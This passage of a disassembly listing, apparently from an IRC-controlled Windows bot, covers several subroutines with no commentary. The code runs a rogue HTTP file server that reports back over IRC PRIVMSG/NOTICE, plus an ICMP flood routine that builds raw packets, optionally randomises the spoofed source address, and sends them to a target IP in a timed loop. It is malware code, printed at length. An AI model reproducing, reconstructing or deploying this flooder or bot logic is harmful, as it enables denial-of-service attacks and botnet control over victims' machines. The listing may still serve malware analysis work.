		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_412BB5
		add	esp, 28h


loc_403AD0:				; CODE XREF: sub_4039DE+D8j
		lea	eax, [ebp+74h+var_1654]
		lea	edx, [eax+1]


loc_403AD9:				; CODE XREF: sub_4039DE+100j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403AD9
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	eax
		push	[ebp+74h+var_44C]
		call	dword_433534
		cmp	[ebp+74h+var_A4], ebx
		jnz	short loc_403B12
		lea	eax, [ebp+74h+var_550]
		push	eax
		push	[ebp+74h+var_44C]
		call	sub_4037B8
		pop	ecx
		pop	ecx
		jmp	short loc_403B2F
; ---------------------------------------------------------------------------


loc_403B12:				; CODE XREF: sub_4039DE+11Cj
		lea	eax, [ebp+74h+var_654]
		push	eax
		push	ebx
		push	[ebp+74h+var_44C]
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_4030C4
		add	esp, 10h


loc_403B2F:				; CODE XREF: sub_4039DE+132j
		push	[ebp+74h+var_44C]
		call	dword_4335AC
		push	[ebp+74h+var_B4]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_4039DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B4C	proc near		; CODE XREF: sub_403E06+37Cp

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_210]
		rep stosd
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	byte ptr [eax],	2Fh
		mov	[ebp+var_4], esi
		push	eax
		jz	short loc_403B7A
		push	offset aS_6	; "\\%s"
		jmp	short loc_403B82
; ---------------------------------------------------------------------------


loc_403B7A:				; CODE XREF: sub_403B4C+25j
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_403B82:				; CODE XREF: sub_403B4C+2Cj
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_10C]
		add	esp, 0Ch
		xor	edi, edi
		lea	ecx, [eax+1]


loc_403B9C:				; CODE XREF: sub_403B4C+55j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_403B9C
		sub	eax, ecx
		mov	[ebp+arg_8], eax
		jz	short loc_403C22
		push	2
		pop	ebx


loc_403BAD:				; CODE XREF: sub_403B4C+D4j
		lea	eax, [ebp+var_10C]
		lea	edx, [eax+1]


loc_403BB6:				; CODE XREF: sub_403B4C+6Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403BB6
		sub	eax, edx
		cmp	ebx, eax
		jnb	short loc_403BEF
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_403BEF
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_403BEF
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_403BEF
		inc	esi
		inc	esi
		inc	ebx
		mov	[ebp+edi+var_210], 20h
		inc	ebx
		jmp	short loc_403C09
; ---------------------------------------------------------------------------


loc_403BEF:				; CODE XREF: sub_403B4C+75j
					; sub_403B4C+7Fj ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_403BFF
		push	5Ch
		pop	eax
		jmp	short loc_403C02
; ---------------------------------------------------------------------------


loc_403BFF:				; CODE XREF: sub_403B4C+ACj
		movsx	eax, al


loc_403C02:				; CODE XREF: sub_403B4C+B1j
		mov	[ebp+edi+var_210], al


loc_403C09:				; CODE XREF: sub_403B4C+A1j
		inc	esi
		lea	eax, [ebp+var_10C]
		inc	ebx
		inc	edi
		lea	ecx, [eax+1]


loc_403C15:				; CODE XREF: sub_403B4C+CEj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_403C15
		sub	eax, ecx
		cmp	esi, eax
		jb	short loc_403BAD


loc_403C22:				; CODE XREF: sub_403B4C+5Cj
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_314]
		push	offset aSS	; "%s%s"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_314]
		push	offset asc_420328 ; "\n"
		push	eax
		call	sub_413859
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_41F06C
		xor	ebx, ebx
		inc	ebx
		cmp	eax, 10h
		jz	short loc_403C73
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403C76
		push	[ebp+arg_0]
		jmp	loc_403CFB
; ---------------------------------------------------------------------------


loc_403C73:				; CODE XREF: sub_403B4C+118j
		mov	[ebp+var_4], ebx


loc_403C76:				; CODE XREF: sub_403B4C+11Dj
		cmp	[ebp+edi+var_211], 5Ch
		jnz	short loc_403C83
		mov	[ebp+var_4], ebx


loc_403C83:				; CODE XREF: sub_403B4C+132j
		mov	eax, [ebp+arg_0]
		xor	edi, edi
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], eax
		mov	[ebp+var_318], edi
		jz	short loc_403D06
		cmp	[ebp+arg_C], edi
		jz	short loc_403CFA
		lea	edi, [ebp+var_314]
		dec	edi


loc_403CA5:				; CODE XREF: sub_403B4C+15Fj
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_403CA5
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		mov	esi, offset asc_4205E4 ; "*"
		push	eax
		movsw
		call	sub_412BB5
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_403879
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_412BB5
		or	[ebp+var_330], 0FFFFFFFFh
		add	esp, 14h
		mov	[ebp+var_31C], ebx
		xor	edi, edi
		jmp	short loc_403D55
; ---------------------------------------------------------------------------


loc_403CFA:				; CODE XREF: sub_403B4C+150j
		push	eax


loc_403CFB:				; CODE XREF: sub_403B4C+122j
		call	dword_4335AC
		jmp	loc_403DED
; ---------------------------------------------------------------------------


loc_403D06:				; CODE XREF: sub_403B4C+14Bj
		push	edi
		push	edi
		push	3
		push	edi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_41F03C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403D55
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	edi
		push	esi
		mov	[ebp+var_31C], edi
		call	ds:dword_41F060
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_41F034


loc_403D55:				; CODE XREF: sub_403B4C+1ACj
					; sub_403B4C+1D7j
		mov	esi, [ebp+arg_10]
		push	esi
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_8C4]
		push	4
		push	eax
		call	sub_410EEA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43433C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+var_6C4]
		push	eax
		push	offset sub_4039DE
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_403DFC
		push	[ebp+arg_0]
		call	dword_4335AC
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_401C33
		add	esp, 10h


loc_403DED:				; CODE XREF: sub_403B4C+1B5j
					; sub_403B4C+2B8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_403DF4:				; CODE XREF: sub_403B4C+2B6j
		push	5
		call	ds:dword_41F000


loc_403DFC:				; CODE XREF: sub_403B4C+26Fj
		cmp	[ebp+var_318], edi
		jz	short loc_403DF4
		jmp	short loc_403DED
sub_403B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_403E06	proc near		; DATA XREF: sub_401141+363o
					; sub_4078FA+3FA2o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_464		= byte ptr -464h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+var_6F0]
		rep movsd
		push	[ebp+var_360]
		xor	esi, esi
		inc	esi
		mov	[eax+3ACh], esi
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], esi
		mov	[ebp+var_24], 2
		call	dword_4335EC
		and	[ebp+var_20], 0
		push	0
		push	esi
		push	2
		mov	[ebp+var_22], ax
		call	dword_4334A0
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		mov	[ebp+var_8], ebx
		jz	loc_4041D9
		mov	eax, [ebp+var_358]
		imul	eax, 234h
		mov	dword_434344[eax], ebx
		push	10h
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_433578
		cmp	eax, edi
		jz	loc_4041D9
		push	7FFFFFFFh
		push	ebx
		call	dword_4335C0
		cmp	eax, edi
		jz	loc_4041D9
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	ebx
		call	dword_433444
		cmp	eax, edi
		jz	loc_4041D9
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	[ebp+var_124], ebx
		mov	[ebp+var_128], esi
		mov	[ebp+var_4], ebx
		lea	eax, [ebx+1]
		jmp	loc_4041BB
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_403E06+3CDj
		xor	esi, esi
		mov	[ebp+arg_0], esi


loc_403EF0:				; CODE XREF: sub_403E06+39Cj
		lea	eax, [ebp+var_23C]
		push	eax
		push	esi
		call	dword_4334F4
		test	eax, eax
		jz	loc_404198
		cmp	esi, ebx
		jnz	short loc_403F6D
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		mov	[ebp+var_10], 10h
		call	dword_433464
		cmp	eax, 0FFFFFFFFh
		jz	loc_404198
		mov	edx, [ebp+var_128]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_403F46


loc_403F38:				; CODE XREF: sub_403E06+13Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_403F46
		inc	ecx
		cmp	ecx, edx
		jb	short loc_403F38


loc_403F46:				; CODE XREF: sub_403E06+130j
					; sub_403E06+139j
		cmp	ecx, edx
		jnz	short loc_403F5C
		cmp	edx, 40h
		jnb	short loc_403F5C
		mov	[ebp+ecx*4+var_124], eax
		inc	[ebp+var_128]


loc_403F5C:				; CODE XREF: sub_403E06+142j
					; sub_403E06+147j
		cmp	eax, [ebp+var_4]
		jbe	loc_404198
		mov	[ebp+var_4], eax
		jmp	loc_404198
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_403E06+102j
		mov	edx, 400h
		xor	eax, eax
		mov	ecx, edx
		lea	edi, [ebp+var_28F0]
		rep stosd
		push	eax
		mov	ecx, edx
		lea	edi, [ebp+var_18F0]
		rep stosd
		push	1000h
		lea	eax, [ebp+var_28F0]
		push	eax
		push	esi
		call	dword_433414
		test	eax, eax
		jg	short loc_403FF1
		push	esi
		call	dword_4335AC
		xor	eax, eax
		cmp	[ebp+var_128], eax
		jbe	loc_404198


loc_403FB5:				; CODE XREF: sub_403E06+1BFj
		cmp	[ebp+eax*4+var_124], esi
		jz	short loc_403FDB
		inc	eax
		cmp	eax, [ebp+var_128]
		jb	short loc_403FB5
		jmp	loc_404198
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_403E06+1DEj
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		inc	eax


loc_403FDB:				; CODE XREF: sub_403E06+1B6j
		mov	ecx, [ebp+var_128]
		dec	ecx
		cmp	eax, ecx
		jb	short loc_403FCC
		dec	[ebp+var_128]
		jmp	loc_404198
; ---------------------------------------------------------------------------


loc_403FF1:				; CODE XREF: sub_403E06+198j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_340]
		rep stosd
		lea	eax, [ebp+var_28F0]
		xor	ebx, ebx
		xor	esi, esi
		lea	ecx, [eax+1]


loc_40400B:				; CODE XREF: sub_403E06+20Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40400B
		sub	eax, ecx
		mov	[ebp+var_C], eax
		jz	loc_404195


loc_40401D:				; CODE XREF: sub_403E06+2D0j
		mov	al, [ebp+ebx+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_4040C0
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40409A
		lea	eax, [ebp+var_18F0]
		lea	edx, [eax+1]


loc_404054:				; CODE XREF: sub_403E06+253j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404054
		sub	eax, edx
		cmp	eax, 5
		jbe	short loc_40409A
		mov	eax, offset asc_41FA74 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_413920
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413920
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413859
		pop	ecx
		pop	ecx
		lea	edx, [ebp+var_340]


loc_40408E:				; CODE XREF: sub_403E06+290j
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40408E
		jmp	short loc_4040AE
; ---------------------------------------------------------------------------


loc_40409A:				; CODE XREF: sub_403E06+243j
					; sub_403E06+25Aj
		push	3
		mov	edi, offset asc_420620 ; "\r\n"
		lea	esi, [ebp+var_18F0]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_4040E1


loc_4040AE:				; CODE XREF: sub_403E06+292j
		xor	eax, eax
		mov	ecx, 400h
		lea	edi, [ebp+var_18F0]
		rep stosd
		or	esi, 0FFFFFFFFh


loc_4040C0:				; CODE XREF: sub_403E06+227j
		lea	eax, [ebp+var_28F0]
		inc	ebx
		inc	esi
		lea	ecx, [eax+1]


loc_4040CB:				; CODE XREF: sub_403E06+2CAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4040CB
		sub	eax, ecx
		cmp	ebx, eax
		jb	loc_40401D
		jmp	loc_404195
; ---------------------------------------------------------------------------


loc_4040E1:				; CODE XREF: sub_403E06+2A6j
		mov	ecx, [ebp+var_128]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_404120


loc_4040ED:				; CODE XREF: sub_403E06+2F6j
		mov	edx, [ebp+eax*4+var_124]
		cmp	edx, [ebp+arg_0]
		jz	short loc_404115
		inc	eax
		cmp	eax, ecx
		jb	short loc_4040ED
		jmp	short loc_404120
; ---------------------------------------------------------------------------


loc_404100:				; CODE XREF: sub_403E06+312j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ecx, [ebp+var_128]
		inc	eax


loc_404115:				; CODE XREF: sub_403E06+2F1j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_404100
		dec	[ebp+var_128]


loc_404120:				; CODE XREF: sub_403E06+2E5j
					; sub_403E06+2F8j
		lea	eax, [ebp+var_340]
		lea	edx, [eax+1]


loc_404129:				; CODE XREF: sub_403E06+328j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404129
		sub	eax, edx
		mov	esi, eax
		lea	eax, [ebp+var_464]
		lea	ecx, [eax+1]


loc_40413D:				; CODE XREF: sub_403E06+33Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40413D
		sub	eax, ecx
		add	eax, esi
		cmp	eax, 104h
		jnb	short loc_40418C
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_433444
		push	[ebp+var_358]
		lea	eax, [ebp+var_340]
		push	[ebp+var_34C]
		push	eax
		lea	eax, [ebp+var_464]
		push	eax
		push	[ebp+arg_0]
		call	sub_403B4C
		add	esp, 14h
		jmp	short loc_404195
; ---------------------------------------------------------------------------


loc_40418C:				; CODE XREF: sub_403E06+347j
		push	[ebp+arg_0]
		call	dword_4335AC


loc_404195:				; CODE XREF: sub_403E06+211j
					; sub_403E06+2D6j ...
		mov	ebx, [ebp+var_8]


loc_404198:				; CODE XREF: sub_403E06+FAj
					; sub_403E06+120j ...
		mov	esi, [ebp+arg_0]
		inc	esi
		cmp	esi, [ebp+var_4]
		mov	[ebp+arg_0], esi
		jbe	loc_403EF0
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax


loc_4041BB:				; CODE XREF: sub_403E06+E0j
		lea	esi, [ebp+var_128]
		lea	edi, [ebp+var_23C]
		push	eax
		rep movsd
		call	dword_433544
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403EEB


loc_4041D9:				; CODE XREF: sub_403E06+66j
					; sub_403E06+8Dj ...
		call	dword_433558
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_350], esi
		jnz	short loc_404221
		push	esi
		push	[ebp+var_354]
		lea	eax, [ebp+var_8F0]
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		push	[ebp+var_6F0]
		call	sub_4045DD
		add	esp, 14h


loc_404221:				; CODE XREF: sub_403E06+3F6j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_401C33
		pop	ecx
		push	ebx
		call	dword_4335AC
		push	[ebp+var_358]
		call	sub_4111AE
		pop	ecx
		push	esi
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_403E06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_404249	proc near		; DATA XREF: sub_4078FA+2A62o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		rep movsd
		push	0FFh
		xor	esi, esi
		push	3
		inc	esi
		push	2
		mov	[eax+19Ch], esi
		call	dword_4334A0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4042B0
		call	dword_433558
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		xor	esi, esi


loc_4042A2:				; CODE XREF: sub_404249+9Cj
					; sub_404249+C3j
		cmp	[ebp+var_24], esi
		jnz	loc_404504
		jmp	loc_4044E4
; ---------------------------------------------------------------------------


loc_4042B0:				; CODE XREF: sub_404249+3Aj
		push	4
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	[ebp+var_C], esi
		push	2
		xor	esi, esi
		push	esi
		push	eax
		call	dword_4334BC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4042E7
		call	dword_433558
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_4042A2
; ---------------------------------------------------------------------------


loc_4042E7:				; CODE XREF: sub_404249+7Fj
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_433514
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40430E
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_4042A2
; ---------------------------------------------------------------------------


loc_40430E:				; CODE XREF: sub_404249+AEj
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		push	esi
		mov	[ebp+var_1C], 2
		call	dword_4335EC
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_433514
		mov	ebx, ds:dword_41F004
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], esi
		call	ebx
		mov	[ebp+var_8], eax
		call	ebx
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_40449C
		mov	esi, 100h


loc_404362:				; CODE XREF: sub_404249+24Bj
		push	41Ch
		mov	byte_432FF8, 45h
		call	dword_4335EC
		mov	word_432FFA, ax
		xor	eax, eax
		cmp	[ebp+var_2C], eax
		mov	word_432FFC, 1
		mov	word_432FFE, ax
		mov	byte_433000, 80h
		mov	byte_433001, 1
		mov	word_433002, ax
		jz	short loc_4043D1
		call	sub_412D71
		mov	edi, eax
		shl	edi, 8
		call	sub_412D71
		add	edi, eax
		shl	edi, 8
		call	sub_412D71
		add	edi, eax
		shl	edi, 8
		call	sub_412D71
		add	edi, eax
		mov	dword_433004, edi
		jmp	short loc_4043E9
; ---------------------------------------------------------------------------


loc_4043D1:				; CODE XREF: sub_404249+159j
		push	[ebp+var_1BC]
		call	sub_406C33
		pop	ecx
		push	eax
		call	dword_433514
		mov	dword_433004, eax


loc_4043E9:				; CODE XREF: sub_404249+186j
		mov	eax, [ebp+var_18]
		mov	dword_433008, eax
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_43300C, dl
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_43300D, dl
		call	sub_412D71
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		and	word_43300E, 0
		mov	word_433012, 1
		inc	edx
		mov	word_433010, dx
		call	sub_412D71
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	10h
		mov	edi, offset dword_433014
		mov	al, dl
		mov	cl, al
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, esi
		rep stosd
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		push	edi
		push	41Ch
		push	offset byte_432FF8
		push	[ebp+var_4]
		call	dword_433470
		cmp	eax, 0FFFFFFFFh
		jz	loc_404521
		inc	[ebp+arg_0]
		call	ebx
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_404362
		xor	esi, esi


loc_40449C:				; CODE XREF: sub_404249+10Ej
		push	[ebp+var_4]
		call	dword_4335AC
		mov	eax, [ebp+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to	IP: %s.	S"...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_24], esi
		jnz	short loc_404504


loc_4044E4:				; CODE XREF: sub_404249+62j
		push	esi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4045DD
		add	esp, 14h


loc_404504:				; CODE XREF: sub_404249+5Cj
					; sub_404249+299j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401C33
		push	[ebp+var_38]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi


loc_40451B:				; CODE XREF: sub_404249+347j
		call	ds:dword_41F014


loc_404521:				; CODE XREF: sub_404249+231j
		push	[ebp+var_4]
		call	dword_4335AC
		call	dword_433558
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		push	offset aIcmpErrorSendi ; "[ICMP]: Error	sending	packets	to IP: %s"...
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_404579
		push	edi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4045DD
		add	esp, 14h


loc_404579:				; CODE XREF: sub_404249+30Ej
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401C33
		push	[ebp+var_38]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi
		jmp	short loc_40451B
sub_404249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404592	proc near		; CODE XREF: sub_40751F+40p
					; sub_4078FA+1BBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_412E64
		lea	eax, [ebp+var_200]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4045BF:				; CODE XREF: sub_404592+32j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045BF
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534
		leave
		retn
sub_404592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045DD	proc near		; CODE XREF: sub_401000+B2p
					; sub_4010CA+61p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_4045F8
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_4045F8:				; CODE XREF: sub_4045DD+14j
		mov	eax, edi
		lea	edx, [eax+1]


loc_4045FD:				; CODE XREF: sub_4045DD+25j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045FD
		sub	eax, edx
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_40460E:				; CODE XREF: sub_4045DD+36j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40460E
		push	[ebp+arg_8]
		sub	eax, ecx
		mov	ecx, 1FAh
		sub	ecx, eax
		push	offset aS_1	; "%s"
		sub	ecx, esi
		push	ecx
		lea	eax, [ebp+var_400]
		push	eax
